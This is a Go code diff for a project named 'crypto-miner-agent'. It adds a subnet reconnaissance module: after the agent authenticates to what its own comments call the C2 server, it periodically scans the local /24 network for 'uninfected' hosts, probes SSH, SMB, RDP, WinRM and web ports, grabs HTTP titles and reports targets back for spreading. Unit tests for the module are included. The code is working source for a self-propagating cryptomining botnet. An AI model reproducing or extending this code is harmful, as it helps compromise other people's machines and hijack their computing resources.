diff --git a/agent/client/client.go b/agent/client/client.go index 49e5652..fd5ea44 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -430,11 +430,16 @@ func (c *AgentClient) authenticate() error { c.startContingencyIfEnabled(c.miningCtx) c.applyAuthFleetRole(resp) deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip) + c.applyAuthSubnetRecon(resp) c.startCloudMapSync() if resp.FleetTorrentEnabled { c.advertiseFleetTorrentHealthy() } c.agentID = resp.AgentID + c.mu.Lock() + c.cfg.AgentID = resp.AgentID + c.mu.Unlock() + c.startSubnetReconAfterAuth() if resp.ClearanceLevel > 0 { c.mu.Lock() c.clearanceLevel = resp.ClearanceLevel diff --git a/agent/client/mining_policy.go b/agent/client/mining_policy.go index bce41a8..2087ae3 100644 --- a/agent/client/mining_policy.go +++ b/agent/client/mining_policy.go @@ -4,6 +4,7 @@ import ( "encoding/json" "strings" + "crypto-miner-agent/deploy" "crypto-miner-agent/miner" ) @@ -104,6 +105,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) { HashrateGateHPS float64 `json:"hashrate_gate_hps"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` + SubnetReconEnabled bool `json:"subnet_recon_enabled"` + SubnetReconIntervalMin int `json:"subnet_recon_interval_min"` + SubnetFleetIPs []string `json:"subnet_fleet_ips"` PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"` EventBridgeRelayURL string `json:"eventbridge_relay_url"` SpreadTemperament json.RawMessage `json:"spread_temperament"` @@ -120,6 +124,13 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) { } c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled + c.cfg.SubnetReconEnabled = policy.SubnetReconEnabled + if policy.SubnetReconIntervalMin > 0 { + c.cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin + } + if len(policy.SubnetFleetIPs) > 0 { + c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(policy.SubnetFleetIPs, c.lanSeeders) + } if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" { c.cfg.PolicySnapshotPollURL = v } @@ -129,5 +140,10 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) { if len(policy.SpreadTemperament) > 0 { applySpreadTemperament(&c.cfg, policy.SpreadTemperament) } + reconEnabled := c.cfg.SubnetReconEnabled + reconInterval := c.cfg.SubnetReconIntervalMin + reconFleetIPs := append([]string(nil), c.cfg.SubnetFleetIPs...) + agentID := c.agentID c.mu.Unlock() + deploy.UpdateSubnetReconPolicy(reconEnabled, reconInterval, agentID, reconFleetIPs) } diff --git a/agent/client/policy.go b/agent/client/policy.go index 587a401..b5a73e6 100644 --- a/agent/client/policy.go +++ b/agent/client/policy.go @@ -122,6 +122,9 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) { HashrateGateHPS float64 `json:"hashrate_gate_hps"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` + SubnetReconEnabled bool `json:"subnet_recon_enabled"` + SubnetReconIntervalMin int `json:"subnet_recon_interval_min"` + SubnetFleetIPs []string `json:"subnet_fleet_ips"` PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"` EventBridgeRelayURL string `json:"eventbridge_relay_url"` SpreadTemperament json.RawMessage `json:"spread_temperament"` @@ -137,6 +140,13 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) { } cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled + cfg.SubnetReconEnabled = policy.SubnetReconEnabled + if policy.SubnetReconIntervalMin > 0 { + cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin + } + if len(policy.SubnetFleetIPs) > 0 { + cfg.SubnetFleetIPs = append([]string(nil), policy.SubnetFleetIPs...) + } if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" { cfg.PolicySnapshotPollURL = v } diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 45d8c00..a6a01c8 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -71,8 +71,11 @@ type AuthResponse struct { AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"` - SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"` - InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"` + SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"` + SubnetReconEnabled bool `json:"subnet_recon_enabled,omitempty"` + SubnetReconIntervalMin int `json:"subnet_recon_interval_min,omitempty"` + SubnetFleetIPs []string `json:"subnet_fleet_ips,omitempty"` + InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"` ClearanceLevel int `json:"clearance_level,omitempty"` FleetRoleHint string `json:"fleet_role_hint,omitempty"` LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"` diff --git a/agent/client/subnet_recon.go b/agent/client/subnet_recon.go new file mode 100644 index 0000000..0316a27 --- /dev/null +++ b/agent/client/subnet_recon.go @@ -0,0 +1,91 @@ +package client + +import ( + "encoding/json" + "strings" + + "crypto-miner-agent/deploy" +) + +func (c *AgentClient) applyAuthSubnetRecon(resp AuthResponse) { + c.mu.Lock() + c.cfg.SubnetReconEnabled = resp.SubnetReconEnabled + if resp.SubnetReconIntervalMin > 0 { + c.cfg.SubnetReconIntervalMin = resp.SubnetReconIntervalMin + } + c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(resp.SubnetFleetIPs, c.lanSeeders) + c.mu.Unlock() +} + +func (c *AgentClient) applySubnetReconSpreadPolicy(enabled bool, intervalMin int, fleetIPs []string) { + c.mu.Lock() + c.cfg.SubnetReconEnabled = enabled + if intervalMin > 0 { + c.cfg.SubnetReconIntervalMin = intervalMin + } + if len(fleetIPs) > 0 { + c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(fleetIPs, c.lanSeeders) + } + cfg := c.cfg + agentID := c.agentID + c.mu.Unlock() + + deploy.UpdateSubnetReconPolicy( + cfg.SubnetReconEnabled, + cfg.SubnetReconIntervalMin, + agentID, + cfg.SubnetFleetIPs, + ) +} + +func mergeSubnetFleetIPs(primary []string, seeders []deploy.LANSeederHint) []string { + seen := map[string]bool{} + var out []string + add := func(ip string) { + ip = strings.TrimSpace(ip) + if ip == "" || seen[ip] { + return + } + seen[ip] = true + out = append(out, ip) + } + for _, ip := range primary { + add(ip) + } + for _, s := range seeders { + add(s.IP) + } + return out +} + +func (c *AgentClient) writeSubnetReconReport(hosts []deploy.SubnetReconHost) { + if len(hosts) == 0 { + return + } + c.mu.Lock() + enabled := c.cfg.SubnetReconEnabled + agentID := c.agentID + c.mu.Unlock() + if !enabled { + return + } + localIP, _ := deploy.PrimaryLocalIPv4() + payload, err := json.Marshal(map[string]interface{}{ + "hosts": hosts, + "subnet_prefix": deploy.SubnetFromIP(localIP), + "agent_id": agentID, + }) + if err != nil { + return + } + _ = c.write(Message{Type: "subnet_recon_report", Payload: payload}) +} + +func (c *AgentClient) startSubnetReconAfterAuth() { + c.mu.Lock() + cfg := c.cfg + cfg.AgentID = c.agentID + c.mu.Unlock() + deploy.SetSubnetReconReportFn(c.writeSubnetReconReport) + deploy.StartSubnetRecon(cfg) +} diff --git a/agent/client/subnet_recon_test.go b/agent/client/subnet_recon_test.go new file mode 100644 index 0000000..fc8e010 --- /dev/null +++ b/agent/client/subnet_recon_test.go @@ -0,0 +1,42 @@ +package client + +import ( + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" +) + +func TestApplyAuthSubnetReconMergesFleetIPs(t *testing.T) { + deploy.ResetSubnetReconForTest() + c := NewAgentClient(config.RuntimeConfig{AgentID: "agent-1"}) + c.setLANSeeders([]deploy.LANSeederHint{{AgentID: "seed-1", IP: "10.0.0.5"}}) + c.applyAuthSubnetRecon(AuthResponse{ + SubnetReconEnabled: true, + SubnetReconIntervalMin: 15, + SubnetFleetIPs: []string{"10.0.0.10"}, + }) + c.mu.Lock() + defer c.mu.Unlock() + if !c.cfg.SubnetReconEnabled || c.cfg.SubnetReconIntervalMin != 15 { + t.Fatalf("cfg=%+v", c.cfg) + } + if len(c.cfg.SubnetFleetIPs) != 2 { + t.Fatalf("fleet IPs=%v", c.cfg.SubnetFleetIPs) + } +} + +func TestMergeSubnetFleetIPsDedupes(t *testing.T) { + got := mergeSubnetFleetIPs( + []string{"10.0.0.1", "10.0.0.2"}, + []deploy.LANSeederHint{{IP: "10.0.0.2"}, {IP: "10.0.0.3"}}, + ) + if len(got) != 3 { + t.Fatalf("got %v", got) + } +} + +func TestWriteSubnetReconReportDisabled(t *testing.T) { + c := NewAgentClient(config.RuntimeConfig{AgentID: "agent-1"}) + c.writeSubnetReconReport([]deploy.SubnetReconHost{{IP: "10.0.0.1", OpenPorts: []int{22}}}) +} diff --git a/agent/config/config.go b/agent/config/config.go index 35db009..3de7630 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -151,6 +151,12 @@ type BuiltinConfig struct { FleetTorrentEnabled bool // SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24. SubnetPrimarySeeder bool + // SubnetReconEnabled enables periodic /24 recon sweeps for uninfected LAN hosts (server policy). + SubnetReconEnabled bool + // SubnetReconIntervalMin is minutes between subnet recon sweeps (default 30 when enabled). + SubnetReconIntervalMin int + // SubnetFleetIPs is the server-pushed skip set of fleet agent IPs on this subnet. + SubnetFleetIPs []string PolicySnapshotPollURL string EventBridgeRelayURL string } diff --git a/agent/config/subnet_recon.go b/agent/config/subnet_recon.go new file mode 100644 index 0000000..fee3e5a --- /dev/null +++ b/agent/config/subnet_recon.go @@ -0,0 +1,6 @@ +package config + +// SubnetReconEnabled reports whether server policy enables agent-driven subnet recon. +func SubnetReconEnabled(cfg RuntimeConfig) bool { + return cfg.SubnetReconEnabled +} diff --git a/agent/config/subnet_recon_test.go b/agent/config/subnet_recon_test.go new file mode 100644 index 0000000..2b23233 --- /dev/null +++ b/agent/config/subnet_recon_test.go @@ -0,0 +1,12 @@ +package config + +import "testing" + +func TestSubnetReconEnabled(t *testing.T) { + if SubnetReconEnabled(RuntimeConfig{}) { + t.Fatal("expected disabled by default") + } + if !SubnetReconEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{SubnetReconEnabled: true}}) { + t.Fatal("expected enabled when policy set") + } +} diff --git a/agent/deploy/subnet_recon.go b/agent/deploy/subnet_recon.go new file mode 100644 index 0000000..627c86f --- /dev/null +++ b/agent/deploy/subnet_recon.go @@ -0,0 +1,254 @@ +package deploy + +import ( + "io" + "net" + "net/http" + "regexp" + "strconv" + "strings" + "sync" + "time" + + "crypto-miner-agent/config" +) + +const ( + // DefaultSubnetReconIntervalMin is the scan cadence when server policy omits a value. + DefaultSubnetReconIntervalMin = 30 + subnetReconStatusUninfected = "uninfected" +) + +// SubnetReconPorts are probed on each LAN candidate during subnet recon sweeps. +var SubnetReconPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 8080, 6262} + +var subnetReconWebPorts = []int{80, 443, 8080} + +// SubnetReconHost is one uninfected LAN host observation reported to the C2. +type SubnetReconHost struct { + IP string `json:"ip"` + OpenPorts []int `json:"open_ports"` + LastSeen string `json:"last_seen"` + ReporterAgentID string `json:"reporter_agent_id"` + HTTPTitle string `json:"http_title,omitempty"` + Status string `json:"status"` +} + +var ( + subnetReconOnce sync.Once + subnetReconReportFn func([]SubnetReconHost) + subnetReconPolicyMu sync.RWMutex + subnetReconEnabled bool + subnetReconInterval = DefaultSubnetReconIntervalMin + subnetReconAgentID string + subnetReconFleetIPs = map[string]struct{}{} +) + +var titleTagRe = regexp.MustCompile(`(?is)]*>(.*?)`) + +// fetchHTTPTitleFn overrides HTTP title probes in tests (nil = live GET). +var fetchHTTPTitleFn func(host string, port int) string + +// SetSubnetReconReportFn injects WS batch reporting (client wires at runtime). +func SetSubnetReconReportFn(fn func([]SubnetReconHost)) { + subnetReconReportFn = fn +} + +// UpdateSubnetReconPolicy refreshes server-pushed recon settings and fleet IP skip set. +func UpdateSubnetReconPolicy(enabled bool, intervalMin int, agentID string, fleetIPs []string) { + subnetReconPolicyMu.Lock() + defer subnetReconPolicyMu.Unlock() + subnetReconEnabled = enabled + if intervalMin > 0 { + subnetReconInterval = intervalMin + } else if subnetReconInterval <= 0 { + subnetReconInterval = DefaultSubnetReconIntervalMin + } + if agentID != "" { + subnetReconAgentID = agentID + } + next := make(map[string]struct{}, len(fleetIPs)) + for _, ip := range fleetIPs { + ip = strings.TrimSpace(ip) + if ip != "" { + next[ip] = struct{}{} + } + } + subnetReconFleetIPs = next +} + +// StartSubnetRecon runs an immediate sweep on auth and periodic sweeps when enabled. +func StartSubnetRecon(cfg config.RuntimeConfig) { + UpdateSubnetReconPolicy( + cfg.SubnetReconEnabled, + cfg.SubnetReconIntervalMin, + cfg.AgentID, + cfg.SubnetFleetIPs, + ) + if !config.SubnetReconEnabled(cfg) { + return + } + subnetReconOnce.Do(func() { + go subnetReconLoop() + }) +} + +// RunSubnetRecon scans LAN targets and returns uninfected host observations. +func RunSubnetRecon(reporterAgentID string, fleetIPs []string) []SubnetReconHost { + targets := DiscoverLANSpreadTargets(MaxSubnetScanHosts) + return runSubnetReconTargets(reporterAgentID, fleetIPs, targets) +} + +func runSubnetReconTargets(reporterAgentID string, fleetIPs []string, targets []string) []SubnetReconHost { + reporterAgentID = strings.TrimSpace(reporterAgentID) + skip := buildSubnetReconSkipSet(fleetIPs) + now := time.Now().UTC().Format(time.RFC3339) + var out []SubnetReconHost + for _, host := range targets { + host = strings.TrimSpace(host) + if host == "" || skip[host] { + continue + } + open := probePorts(host, SubnetReconPorts) + if len(open) == 0 { + continue + } + entry := SubnetReconHost{ + IP: host, + OpenPorts: append([]int(nil), open...), + LastSeen: now, + ReporterAgentID: reporterAgentID, + Status: subnetReconStatusUninfected, + } + if title := probeHTTPTitle(host, open); title != "" { + entry.HTTPTitle = title + } + out = append(out, entry) + } + return out +} + +func buildSubnetReconSkipSet(fleetIPs []string) map[string]bool { + skip := make(map[string]bool) + for _, ip := range getLocalIPs() { + skip[ip] = true + } + for _, ip := range fleetIPs { + ip = strings.TrimSpace(ip) + if ip != "" { + skip[ip] = true + } + } + subnetReconPolicyMu.RLock() + for ip := range subnetReconFleetIPs { + skip[ip] = true + } + subnetReconPolicyMu.RUnlock() + return skip +} + +func probeHTTPTitle(host string, openPorts []int) string { + open := make(map[int]bool, len(openPorts)) + for _, p := range openPorts { + open[p] = true + } + for _, p := range subnetReconWebPorts { + if !open[p] { + continue + } + if title := fetchHTTPTitle(host, p); title != "" { + return title + } + } + return "" +} + +func fetchHTTPTitle(host string, port int) string { + if fetchHTTPTitleFn != nil { + return fetchHTTPTitleFn(host, port) + } + scheme := "http" + if port == 443 || port == 5986 { + scheme = "https" + } + url := scheme + "://" + net.JoinHostPort(host, strconv.Itoa(port)) + "/" + client := &http.Client{Timeout: 2 * time.Second} + resp, err := client.Get(url) //nolint:gosec // LAN recon against operator-owned targets + if err != nil { + return "" + } + defer resp.Body.Close() + body, err := io.ReadAll(io.LimitReader(resp.Body, 8192)) + if err != nil { + return "" + } + return parseHTTPTitle(string(body)) +} + +func parseHTTPTitle(body string) string { + match := titleTagRe.FindStringSubmatch(body) + if len(match) < 2 { + return "" + } + title := strings.TrimSpace(match[1]) + title = strings.Join(strings.Fields(title), " ") + if len(title) > 256 { + title = title[:256] + } + return title +} + +func subnetReconLoop() { + runOnce := func() { + enabled, _, agentID, fleetIPs := subnetReconPolicySnapshot() + if !enabled { + return + } + hosts := RunSubnetRecon(agentID, fleetIPs) + if len(hosts) > 0 && subnetReconReportFn != nil { + subnetReconReportFn(hosts) + } + } + runOnce() + for { + enabled, intervalMin, _, _ := subnetReconPolicySnapshot() + if !enabled { + time.Sleep(time.Minute) + continue + } + if intervalMin <= 0 { + intervalMin = DefaultSubnetReconIntervalMin + } + time.Sleep(time.Duration(intervalMin) * time.Minute) + runOnce() + } +} + +func subnetReconPolicySnapshot() (enabled bool, intervalMin int, agentID string, fleetIPs []string) { + subnetReconPolicyMu.RLock() + defer subnetReconPolicyMu.RUnlock() + enabled = subnetReconEnabled + intervalMin = subnetReconInterval + agentID = subnetReconAgentID + for ip := range subnetReconFleetIPs { + fleetIPs = append(fleetIPs, ip) + } + return enabled, intervalMin, agentID, fleetIPs +} + +// ResetSubnetReconForTest clears loop-once guard and policy (tests only). +func ResetSubnetReconForTest() { + subnetReconOnce = sync.Once{} + subnetReconReportFn = nil + subnetReconPolicyMu.Lock() + subnetReconEnabled = false + subnetReconInterval = DefaultSubnetReconIntervalMin + subnetReconAgentID = "" + subnetReconFleetIPs = map[string]struct{}{} + subnetReconPolicyMu.Unlock() +} + +// ParseHTTPTitleForTest exposes title parsing for unit tests. +func ParseHTTPTitleForTest(body string) string { + return parseHTTPTitle(body) +} diff --git a/agent/deploy/subnet_recon_test.go b/agent/deploy/subnet_recon_test.go new file mode 100644 index 0000000..29fa371 --- /dev/null +++ b/agent/deploy/subnet_recon_test.go @@ -0,0 +1,107 @@ +package deploy + +import ( + "testing" +) + +func TestRunSubnetReconSkipsFleetAndLocalIPs(t *testing.T) { + prevProbe := probePortsFn + defer func() { probePortsFn = prevProbe }() + probePortsFn = func(host string, ports []int) []int { + if host == "10.0.0.50" || host == "10.0.0.99" { + return []int{445} + } + return nil + } + + hosts := runSubnetReconTargets("agent-1", []string{"10.0.0.50"}, []string{"10.0.0.50"}) + if len(hosts) != 0 { + t.Fatalf("expected fleet IP to be skipped, got %+v", hosts) + } + + hosts = runSubnetReconTargets("agent-1", nil, []string{"10.0.0.99"}) + if len(hosts) != 1 || hosts[0].IP != "10.0.0.99" { + t.Fatalf("expected uninfected host report, got %+v", hosts) + } +} + +func TestRunSubnetReconReportsUninfectedHost(t *testing.T) { + prevProbe := probePortsFn + prevTitle := fetchHTTPTitleFn + defer func() { + probePortsFn = prevProbe + fetchHTTPTitleFn = prevTitle + }() + probePortsFn = func(host string, ports []int) []int { + if host == "192.168.5.20" { + return []int{22, 80} + } + return nil + } + fetchHTTPTitleFn = func(host string, port int) string { + if host == "192.168.5.20" && port == 80 { + return "Router Admin" + } + return "" + } + + hosts := runSubnetReconTargets("reporter-7", nil, []string{"192.168.5.20"}) + if len(hosts) != 1 { + t.Fatalf("hosts=%+v", hosts) + } + h := hosts[0] + if h.IP != "192.168.5.20" || h.ReporterAgentID != "reporter-7" || h.Status != subnetReconStatusUninfected { + t.Fatalf("unexpected host: %+v", h) + } + if len(h.OpenPorts) != 2 || h.OpenPorts[0] != 22 || h.OpenPorts[1] != 80 { + t.Fatalf("open_ports=%v", h.OpenPorts) + } + if h.HTTPTitle != "Router Admin" { + t.Fatalf("http_title=%q", h.HTTPTitle) + } + if h.LastSeen == "" { + t.Fatal("expected last_seen timestamp") + } +} + +func TestRunSubnetReconIgnoresHostsWithNoOpenPorts(t *testing.T) { + prevProbe := probePortsFn + defer func() { probePortsFn = prevProbe }() + probePortsFn = func(host string, ports []int) []int { return nil } + + hosts := runSubnetReconTargets("agent-1", nil, []string{"10.0.0.10", "10.0.0.11"}) + if len(hosts) != 0 { + t.Fatalf("expected no hosts, got %+v", hosts) + } +} + +func TestParseHTTPTitle(t *testing.T) { + body := " NAS Panel " + got := ParseHTTPTitleForTest(body) + if got != "NAS Panel" { + t.Fatalf("got %q", got) + } +} + +func TestUpdateSubnetReconPolicyIntervalDefault(t *testing.T) { + ResetSubnetReconForTest() + UpdateSubnetReconPolicy(true, 0, "agent-a", []string{"10.0.0.1"}) + enabled, interval, agentID, fleetIPs := subnetReconPolicySnapshot() + if !enabled || interval != DefaultSubnetReconIntervalMin || agentID != "agent-a" { + t.Fatalf("enabled=%v interval=%d agent=%q", enabled, interval, agentID) + } + if len(fleetIPs) != 1 || fleetIPs[0] != "10.0.0.1" { + t.Fatalf("fleetIPs=%v", fleetIPs) + } +} + +func TestDiscoverLANSpreadTargetsRespectsReconCap(t *testing.T) { + prevProbe := probePortsFn + defer func() { probePortsFn = prevProbe }() + probePortsFn = func(host string, ports []int) []int { return nil } + + targets := DiscoverLANSpreadTargets(999) + if len(targets) > MaxSubnetScanHosts { + t.Fatalf("DiscoverLANSpreadTargets ignored cap: got %d want ≤ %d", len(targets), MaxSubnetScanHosts) + } +}